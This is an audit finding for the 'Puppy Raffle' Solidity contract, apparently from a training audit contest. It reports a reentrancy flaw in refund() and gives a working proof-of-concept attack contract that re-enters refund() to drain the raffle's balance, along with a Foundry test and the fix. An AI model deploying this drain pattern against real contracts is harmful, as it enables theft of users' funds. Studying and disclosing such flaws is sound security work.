First Flight #2: Puppy Raffle

Summary

Vulnerability Details

High-Risk Issues

1. Reentrancy: The "refund()" function is susceptible to a reentrancy attack due to its non-compliance with the "Check-Effect-Interaction" rule. Specifically, the state variable update "players[playerIndex] = address(0)" occurs after the refund, enabling a potential attacker to reenter the function and exploit this vulnerability.

   The Proof of concept is below.

POC

Contract

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.7.6;
import "../src/PuppyRaffle.sol";

contract AttackRaffle {
PuppyRaffle immutable puppyraffle;

    address public immutable owner;
    uint256 myIndex;

    constructor(address _contractAddress) {
        owner = payable(msg.sender);
        puppyraffle = PuppyRaffle(_contractAddress);
    }

    function destroy(address _puppyContract) external {
        selfdestruct(payable(_puppyContract));
    }

    function playGame(uint256 entranceFee) external payable {
        // start by playing the game.
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyraffle.enterRaffle{value: entranceFee}(players);

        // then the main attack which is the refund function.
        myIndex = puppyraffle.getActivePlayerIndex(address(this));
        puppyraffle.refund(myIndex);
    }

    receive() external payable {
        if (address(puppyraffle).balance > 0) {
            myIndex = puppyraffle.getActivePlayerIndex(address(this));
            puppyraffle.refund(myIndex);
        } else {
            (bool success, ) = (owner).call{value: address(this).balance}("");
            if (!success) revert("Failed Transaction");
        }
    }
}

Test

function test_reenterancy_attack() external {
    // function that allow players enter the game
    testCanEnterRaffleMany();

    // The attack
    address owner = address(23);
    vm.prank(owner);
    attackRaffle = new AttackRaffle(address(puppyRaffle));
    vm.deal(address(attackRaffle), 1 ether);
    console.log(
        "Owner of the Attack Contract balance before the game",
        owner.balance
    );
    console.log(
        "puppyRaffle Contract's balance before contract entered the game",
        address(puppyRaffle).balance
    );
    vm.startPrank(address(attackRaffle));
    attackRaffle.playGame(entranceFee);
    console.log(
        "Owner of the Attack Contract balance after the game",
        attackRaffle.owner().balance
    );

    console.log(
        "puppyRaffle Contract's balance after the game",
        address(puppyRaffle).balance
    );
    vm.stopPrank();
}

Impact

The vulnerability in the "refund()" function poses a high risk of reentrancy attacks. If exploited, an attacker could drain the contract's funds and manipulate its state, leading to financial losses and unintended behaviour within the contract.

Tools Used

Manual Audit

Recommendations

1. For the reentrancy, it is best practice always to apply the check->effect->interaction.

   - payable(msg.sender).sendValue(entranceFee);
   - players[playerIndex] = address(0);
   
   + players[playerIndex] = address(0);
   + payable(msg.sender).sendValue(entranceFee);
   

2. Also make use of a reentrancy lock or modifier to help secure the contract, Openzeppline offers good reentrancy guide.